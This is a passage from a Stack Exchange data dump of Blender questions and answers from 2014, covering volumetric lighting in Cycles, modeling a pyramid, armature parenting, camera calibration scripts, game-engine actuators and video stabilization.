section.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Step 1:&lt;/strong&gt;&#xA;Make sure you are using a very recent build of blender 2.71+&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TzTFN.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Step 2:&lt;/strong&gt;&#xA;Go into the world tab of the properties panel. Under volume set the material to Volume Scatter.&#xA;(You can also add a cube around the spot lamp, and set its volume material to Volume Scatter, it will save a lot of rendering time.)&lt;/p&gt;&#xA;&lt;p&gt;Also check Homogeneous Volume* if you want less slow render times.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KSOnI.png&quot; alt=&quot;Settings&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Usually the default value of 1 for density is way to high, so start with a smaller value and find what works for your needs.&lt;/p&gt;&#xA;&lt;p&gt;Keep in mind that the intensity of the lights in the scene will be affected by the scattering, they might not seem as bright as you expect them, so be ready to set the light intensity to a much larger value than you normally would.&lt;/p&gt;&#xA;&lt;p&gt;Step 4:&#xA;Put your samples up really high, (approx 150)&lt;/p&gt;&#xA;&lt;p&gt;Hit Render...&#xA;Wait...&#xA;Wait...&#xA;Wait...&#xA;Tada! you have God Rays in Cycles.&lt;/p&gt;&#xA;&lt;p&gt;*Homogeneous Volume means that you have applied no textures to your world volume, if you do, something will break.&lt;/p&gt;&#xA;&lt;h2&gt;Edit&lt;/h2&gt;&#xA;&lt;p&gt;Note, that in cycles, mesh lights work as well as a spot light. with mesh lights, you can also add a texture to the emission value.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="19307" LastEditorDisplayName="user1853" LastEditDate="2021-05-21T16:30:38.067" LastActivityDate="2021-05-21T16:30:38.067" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="12221" PostTypeId="1" CreationDate="2014-06-14T00:42:35.217" Score="1" ViewCount="86" Body="&lt;p&gt;How can I use the spotlight in blender to cast shadows such and the batman symbol, or other &quot;cool&quot; lighting effects. I went into the compositor and tried assigning it a material, but that didn't work.&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2014-06-14T00:42:35.217" Title="Creating Batman Symbol Spotlight" Tags="&lt;rendering&gt;&lt;materials&gt;&lt;light&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2014-06-14T13:50:40.893" ContentLicense="CC BY-SA 3.0" />
  <row Id="12222" PostTypeId="2" ParentId="12219" CreationDate="2014-06-14T00:58:26.473" Score="6" Body="&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; There are superior ways to perform this task, but the question asked to be shown how to model an equilateral triangular pyramid from &lt;em&gt;scratch&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 1:&#xA;Add a plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 2:&#xA;Delete all edges except for one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select these two verts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BbjoJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Delete Them to get this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XsXIL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 3:&#xA;Select one vertex on the edge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 4:&#xA;Hit &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;S&lt;/kbd&gt;, and select: Cursor to Selected&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g9CC8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 5:&#xA;Hit Period&lt;kbd&gt;.&lt;/kbd&gt; (Not on the number pad)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This icon should look like that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x0KB2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 6:&#xA;Select The edge, and hit &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;D&lt;/kbd&gt; then &lt;kbd&gt;R&lt;/kbd&gt; then &lt;kbd&gt;Z&lt;/kbd&gt; then 60.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should end up with this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7q0Bw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 7:&#xA;Select the other vertex on your original edge repeat step 4, and then repeat Step 6.&#xA;If the edge when the wrong way, undo your last move, and use -60 degrees instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once complete your scene should look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SKAgr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 8:&#xA;Hit W, and select remove doubles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can see that we have the base of the primid&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 9:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the base and hit &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;D&lt;/kbd&gt; then &lt;kbd&gt;R&lt;/kbd&gt; then &lt;kbd&gt;X&lt;/kbd&gt; then 70.5288.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One side is now in place&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 10:&#xA;Select the side that we have created, duplicate it (&lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;D&lt;/kbd&gt;), and rotate it 300 degrees along the z - axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 12:&#xA;Remove all doubles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the top vertices don't merge, select them and hit &lt;kbd&gt;alt&lt;/kbd&gt;-&lt;kbd&gt;M&lt;/kbd&gt;, and chose center.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-06-17T18:21:04.353" LastActivityDate="2014-06-17T18:21:04.353" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="12223" PostTypeId="1" CreationDate="2014-06-14T01:09:32.773" Score="2" ViewCount="8357" Body="&lt;p&gt;I've been following this tutorial &lt;a href=&quot;https://www.youtube.com/watch?v=cGvalWG8HBU&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and around 10:16 he presses &lt;kbd&gt;Ctr&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; to set the parent to armature with automatic weights. When I try to follow I don't get that same menu. I've checked that I'm in the correct mode and the correct objects are highlighted. What am I doing wrong?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/F13u5.png&quot; alt=&quot;parenting armature to object&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4831" LastEditorUserId="2217" LastEditDate="2015-03-03T21:51:31.187" LastActivityDate="2017-12-31T09:42:50.987" Title="Problem setting parent with automatic weights" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;parent&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12224" PostTypeId="2" ParentId="12223" CreationDate="2014-06-14T01:58:29.947" Score="7" Body="&lt;p&gt;Select the object and the armature in this order; mesh, then armature. The armature must be the &lt;a href=&quot;https://blender.stackexchange.com/a/21050/2217&quot;&gt;active object&lt;/a&gt; to get the options you are looking for. You have the mesh as the active object.&lt;br&gt;&#xA;(lighter orange color is the active object)&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-03-03T21:52:56.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12225" PostTypeId="1" CreationDate="2014-06-14T02:45:48.360" Score="2" ViewCount="685" Body="&lt;p&gt;I'm trying to convert calibration matrix to Blender's camera as the reference document in here: &lt;a href=&quot;http://ksimek.github.io/2012/08/14/decompose/&quot; rel=&quot;nofollow&quot;&gt;http://ksimek.github.io/2012/08/14/decompose/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks Blender camera uses bot-left corner as origin in image space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a good way to convert this?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here is my solution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;CAMERA K&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    scene = bpy.context.scene&#xA;render = bpy.context.scene.render&#xA;&#xA;#----------------------------------------------- &#xA;# view port &#xA;&#xA;render.engine = 'CYCLES'&#xA;render.filepath = '//'&#xA;render.resolution_x = imgWidth&#xA;render.resolution_y = imgHeight&#xA;render.resolution_percentage = 100&#xA;&#xA;scene.cycles.device = 'GPU'&#xA;&#xA;#----------------------------------------------- &#xA;# K &#xA;camdata = bpy.data.cameras.new('cameraData')&#xA;camdata.lens_unit = 'FOV'&#xA;&#xA;f = float(K[0,0])&#xA;fx = float(K[0,0])&#xA;fy = float(K[1,1])&#xA;ppx = float(K[0,2])&#xA;ppy = float(K[1,2])&#xA;&#xA;&#xA;maxdim = max(render.resolution_x,render.resolution_y) &#xA;&#xA;#camdata.angle = 2*math.atan(0.5*maxdim/f)&#xA;camdata.angle_x=2*math.atan(0.5*render.resolution_x/fx);&#xA;camdata.angle_y=2*math.atan(0.5*render.resolution_y/fy);&#xA;&#xA;# the unit of shiftXY is FOV unit (Lens Shift)&#xA;camdata.shift_x = (ppx - render.resolution_x/2.0)/maxdim&#xA;camdata.shift_y = (ppy- render.resolution_y/2.0)/maxdim&#xA;&#xA;camdata.dof_distance = 0.0&#xA;camdata.clip_end = 1000.0&#xA;&#xA;#-----------------------------------------&#xA;# OBJECT TYPE&#xA;cam = bpy.data.objects.new('camera', camdata)&#xA;#&#xA;# flip axis to top-left&#xA;cam.scale=(1,-1,-1); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Extrinsic R|t&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume all your frame shares using same camera and I add object axis to handle camera rotation. It seems difficult to directly insert R|t matrix into camera object.&#xA;Also, please note that the initial order of the rotation and location parameter does matter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    # extrinsic matrix&#xA;    all_wrtx,all_fid = top.loadALLWxyzRt(camDIR);&#xA;&#xA;&#xA;S=bpy.data.scenes['Scene'];&#xA;S.frame_start=1;&#xA;S.frame_end=len(all_fid);&#xA;&#xA;D = bpy.data&#xA;&#xA;for o in D.objects:&#xA;    o.select=False;&#xA;&#xA;D.objects['objRoot'].select=True&#xA;&#xA;for i in range(0,len(all_fid)):&#xA;&#xA;    fid = all_fid[i];&#xA;&#xA;    wxyz=all_wrtx[i][0];&#xA;    rt=all_wrtx[i][1];&#xA;&#xA;    S.frame_current=fid;&#xA;&#xA;    # set R&#xA;    root.rotation_mode='AXIS_ANGLE';&#xA;    root.rotation_axis_angle=(wxyz[0],wxyz[1],wxyz[2],wxyz[3]);&#xA;&#xA;    # set Rt&#xA;    root.location=(rt[0],rt[1],rt[2]);&#xA;&#xA;    bpy.ops.anim.keyframe_insert_menu(type='LocRotScale');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4832" LastEditorUserId="4832" LastEditDate="2014-06-16T00:39:54.370" LastActivityDate="2014-06-16T00:39:54.370" Title="Use top-left corner as origin in Blender's camera" Tags="&lt;blender-internal-render-engine&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12227" PostTypeId="2" ParentId="12219" CreationDate="2014-06-14T04:22:20.827" Score="20" Body="&lt;p&gt;Add a cone: &lt;em&gt;3D View header &gt; Add &gt; Cone&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change &lt;em&gt;Vertices&lt;/em&gt; to &lt;strong&gt;3&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For &lt;em&gt;Depth&lt;/em&gt; enter &lt;code&gt;sqrt(2)&lt;/code&gt; and hit return&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2yS5U.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2yS5U.png&quot; alt=&quot;Add Cone Tool Shelf&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2017-01-28T21:14:22.423" LastActivityDate="2017-01-28T21:14:22.423" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12229" PostTypeId="1" CreationDate="2014-06-14T08:25:21.523" Score="13" ViewCount="37632" Body="&lt;p&gt;I have viewed the tutorials of lighting and shading, but the version used in the tutorials must be older than that I use.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Yakqh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4838" LastEditorUserId="47460" LastEditDate="2017-10-22T12:37:16.000" LastActivityDate="2017-10-22T12:37:16.000" Title="I can't find where to change the strength of the sun in version 2.70a" Tags="&lt;rendering&gt;&lt;nodes&gt;&lt;light&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12230" PostTypeId="2" ParentId="12229" CreationDate="2014-06-14T08:33:47.180" Score="10" Body="&lt;p&gt;I'm not aware of a recent change of the energy slider in the lamp properties in the Blender internal renderer. From the image you posted you are using the blender internal renderer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/duwLX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-06-14T09:11:21.940" LastActivityDate="2014-06-14T09:11:21.940" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12231" PostTypeId="1" CreationDate="2014-06-14T09:32:50.277" Score="0" ViewCount="178" Body="&lt;p&gt;I can map textures with alpha (that I paint in the UV Image editor) and make them partially transparent in the BI renderer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I use the UV Project modifier and allocate the loaded alpha image it disregards the transparency but will show the material colour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the material panel when I turn on transparency it ignores the texture slot. I guess because there is no available texture in the texture panel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to manually add a regular texture and turn on the alpha with colour. Then back in the modifier turn off override.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems odd that it won't correctly apply the alpha as transparent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why can't alpha transparency work from the UV Project modifier?&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2014-06-14T09:32:50.277" Title="UV Project Modifier doesn't use alpha correctly?" Tags="&lt;texturing&gt;&lt;modifiers&gt;&lt;uv&gt;&lt;texture-painting&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12232" PostTypeId="2" ParentId="12225" CreationDate="2014-06-14T09:39:59.820" Score="1" Body="&lt;p&gt;I've only one time used &lt;a href=&quot;https://en.wikipedia.org/wiki/Singular_value_decomposition&quot; rel=&quot;nofollow&quot;&gt;singular value decomposition&lt;/a&gt; with OpenCV&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand your question manipulating x&lt;sub&gt;0&lt;/sub&gt;, y&lt;sub&gt;0&lt;/sub&gt; of the camera's intrinsic parameters (as interactivly possible in the 2nd page of your &lt;a href=&quot;http://ksimek.github.io/2012/08/22/extrinsic/&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt;) is similar to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;cam = bpy.data.cameras['Camera']&#xA;cam.shift_x += .5&#xA;cam.shift_y += .5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If this doesn't help you could try to offset the cameras position:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cam = bpy.data.objects['Camera']&#xA;cam.location.x = 0.0&#xA;cam.location.y = ...&#xA;cam.location.z = ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-06-14T09:39:59.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12234" PostTypeId="1" AcceptedAnswerId="12257" CreationDate="2014-06-14T10:20:58.930" Score="5" ViewCount="1691" Body="&lt;p&gt;I've created some 3D text and want it to be visible over the movie strip shown below. This works well until I insert key frames to move it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do I loose the visibility of this text when I animate it and how can I make it visible again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PYMIZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my &lt;a href=&quot;https://app.box.com/s/1n54l6oxtj14yuzscq1i&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend file&lt;/a&gt; so you can have a look.&lt;/p&gt;&#xA;" OwnerUserId="4785" LastEditorUserId="599" LastEditDate="2014-06-16T05:52:11.950" LastActivityDate="2014-06-16T14:22:46.000" Title="Cannot see scene strip over video in VSE" Tags="&lt;animation&gt;&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12235" PostTypeId="1" AcceptedAnswerId="12236" CreationDate="2014-06-14T10:59:43.707" Score="4" ViewCount="619" Body="&lt;p&gt;Is there any function or method to obtain the slope (first derivative) of an fcurve at a particular point/frame? (Corresponding to velocity or angular velocity or &quot;velocity of scale&quot; or any other rate of change of a property with an fcurve).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the basic level I'd like to have a driver depend on whether a scene object is travelling upwards or downwards, not just on it's instantaneous location. The velocity would have even more uses than just a simple sign.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment I can approximate it by sampling the fcurve a little before and a little after the frame in question, and calculating a slope from there, but it feels a bit like a hack, particularly if a better way to calculate it exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The maths for calculating the slope of linear and Bezier interpolated fcurves isn't that difficult, but so far I've been unable to find an elegant method of doing so. The upcoming easing equations would also have an simple mathematical solution, but again it's a matter of whether it's implemented as a python function or whether it would have to be calculated from the control points. (If it does have to be calculated that way, I'd love some advice on how to calculate it best).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, is it possible to obtain the second derivative (acceleration) for use in a driver?&lt;/p&gt;&#xA;" OwnerUserId="2377" LastActivityDate="2017-08-11T18:21:19.307" Title="Slope of an fcurve - how to determine?" Tags="&lt;animation&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12236" PostTypeId="2" ParentId="12235" CreationDate="2014-06-14T11:51:33.960" Score="2" Body="&lt;p&gt;No, blender doesn't have the ability to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Bezier splines you could probably calculate this yourself, but once you have F-Curve modifiers and use 2.71's new easing options, this becomes very complicated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the best you can do is check values to either side of the keyframe with some offset (called &lt;a href=&quot;http://en.wikipedia.org/wiki/Nabla&quot; rel=&quot;nofollow&quot;&gt;nabla&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-06-14T11:51:33.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12237" PostTypeId="1" AcceptedAnswerId="12239" CreationDate="2014-06-14T14:59:17.887" Score="1" ViewCount="137" Body="&lt;p&gt;I have several objects in my scene and each of them has an actuator (type Motion). The &lt;em&gt;object1&lt;/em&gt; has the actuator &lt;em&gt;Motion1&lt;/em&gt;, the &lt;em&gt;object2&lt;/em&gt; has the actuator &lt;em&gt;Motion2&lt;/em&gt; and so on. My problem is that I have 95 objects and I would like to define them in the code in a efficient way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;import bpy&#xA;cont = bge.logic.getCurrentController() &#xA;own = cont.owner&#xA;&#xA;m = []&#xA;for k in range (1, 95):&#xA;    m[k] = cont.actuators[&quot;Motion&quot;+ str(k)]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it doesn't work.&lt;/p&gt;&#xA;" OwnerUserId="2821" LastEditorUserId="2217" LastEditDate="2014-10-23T15:32:27.760" LastActivityDate="2014-10-23T15:32:27.760" Title="How to define actuators using loop" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12238" PostTypeId="2" ParentId="9367" CreationDate="2014-06-14T15:47:19.560" Score="0" Body="&lt;p&gt;Smiple:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;G&lt;/kbd&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works since the &lt;em&gt;&quot;Black Dot&quot;&lt;/em&gt; shows the location of the empty with out any transforms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also worth noting that if you hit (&lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;A&lt;/kbd&gt;), location it will jump back.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-06-14T15:47:19.560" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12239" PostTypeId="2" ParentId="12237" CreationDate="2014-06-14T18:29:04.283" Score="0" Body="&lt;p&gt;This can be done with &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_60_6/bpy.ops.logic.html&quot; rel=&quot;nofollow&quot;&gt;bpy.ops.logic.actuator_add&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;import bpy&#xA;cont = bge.logic.getCurrentController() &#xA;own = cont.owner&#xA;&#xA;m = []&#xA;for k in range (1, 95):&#xA;    bpy.ops.logic.actuator_add(type='MOTION', name=&quot;Motion&quot;+str(k), object=&quot;Cube&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where type must be in ('ACTION', 'CAMERA', 'CONSTRAINT', 'EDIT_OBJECT', 'FILTER_2D', 'GAME', 'MESSAGE', 'MOTION', 'PARENT', 'PROPERTY', 'RANDOM', 'SCENE', 'STEERING', 'SOUND', 'STATE', 'VISIBILITY')&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was tested in the BGE using default scene with &quot;Cube&quot;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-06-14T22:00:36.130" LastActivityDate="2014-06-14T22:00:36.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12240" PostTypeId="1" AcceptedAnswerId="12241" CreationDate="2014-06-14T18:34:38.730" Score="4" ViewCount="2878" Body="&lt;p&gt;So, I'm building a TARDIS...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on the details off the side, and want to then mirror it to the other side(the one adjacent to the one already detailed), so I don't need to do the door two times.&#xA;How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="29" LastEditDate="2014-06-15T09:41:41.073" LastActivityDate="2014-06-15T09:41:41.073" Title="How to mirror an object in a 90 degree angle?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12241" PostTypeId="2" ParentId="12240" CreationDate="2014-06-14T19:54:23.643" Score="4" Body="&lt;p&gt;You have to use an array modifier to rotate it 90 degrees, then mirror it along the X and Y axis:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UFziu.png&quot; alt=&quot;array&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mAIjB.png&quot; alt=&quot;result&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-06-14T19:54:23.643" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12242" PostTypeId="1" CreationDate="2014-06-14T23:33:59.233" Score="0" ViewCount="103" Body="&lt;p&gt;I am trying to make a simple head turn but there are multiple bones that are part of the object for rigging... every time I try to assign a logic brick in edit mode to &lt;strong&gt;only&lt;/strong&gt; the bone controlling the turn of the head... it assigns it to every bone making the whole body turn.&lt;/p&gt;&#xA;" OwnerUserId="4844" LastActivityDate="2014-06-15T12:19:42.667" Title="How do you assign a logic brick onto an indivual bone?" Tags="&lt;python&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12243" PostTypeId="1" AcceptedAnswerId="12244" CreationDate="2014-06-15T01:10:55.710" Score="20" ViewCount="5043" Body="&lt;p&gt;I have a movie clip that pans from left to right. I've added a motion tracker to an element in the scene that is stationary. But when I apply stabilization the camera panning motion is lost. The autoscale function also crops most of the scene away. It's as if Blender thinks the panning is an error that needs smoothing out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I allow for camera movement while smoothing out only small bumps and jitters?&lt;/p&gt;&#xA;" OwnerUserId="218" LastActivityDate="2016-07-12T11:50:11.913" Title="2D stabilization of camera pan" Tags="&lt;animation&gt;&lt;tracking&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12244" PostTypeId="2" ParentId="12243" CreationDate="2014-06-15T01:29:48.020" Score="21" Body="&lt;p&gt;&lt;em&gt;Here's how the stabilzation's supposed to work in Blender:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trackers included in the &lt;em&gt;&lt;a href=&quot;https://www.blender.org/manual/editors/movie_clip_editor/tracking/clip/properties.html#d-stabilization-panel&quot; rel=&quot;noreferrer&quot;&gt;2D Stabilzation&lt;/em&gt;&lt;/a&gt; tab get pinned down. &#xA;The image then gets repositioned to keep those tracked points in the same place, effectively countering whatever move you had made. &#xA;Blender has no way to discern which movement is intentional and which isn't...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oSiKX.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/S0kg7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A workaround for stationary shots with panning (or tilting) is recreating the move after you have stablized the shot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do that you need first to unclick the 'Autoscale' button in the &lt;em&gt;Movie Clip Editor&lt;/em&gt;. The repositioning of the clip is done on the compositor adding a 'Translate' or 'Transform' node. Note that you will need to rescale the image a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case you're panning from left to right, but Blender is moving your image in the opposite direction. So you need to move it back again on the x axis from left to right, so that your picture stays in the frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;em&gt;Compositor&lt;/em&gt; add a 'Movie Clip' node with with the original video footage (or image sequence) and you plug it to a 'Stablize 2D' node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the 'Stablize 2D' node select the tracked Movie clip as source, so Blender can use the tracker information associated to the clip. The output of this node will be the stabilzed image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a 'Transform' Node, and that's where you'll recreate your camera move.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/arVrW.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the &lt;em&gt;Timeline&lt;/em&gt; go to the first frame of the clip. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back on the &lt;em&gt;Compositor&lt;/em&gt; change the values on the 'Transform' node to reposition your image so that it fills the frame. Add a key frame on the 'Transform' node by pressing &lt;kbd&gt;I&lt;/kbd&gt;. &#xA;Scroll down the &lt;em&gt;Timeline&lt;/em&gt; to the end frame, reposition the image again using the 'Transform' node and set another key frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might need to play with the interpolation curves, or add a couple more key frames. If your image doesn't fill the frame correctly, showing the edges of the original image, then make changes on the scale. After some trial and error you should have a nice panning shot with no jitter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IkNJe.png&quot; alt=&quot;enter image description 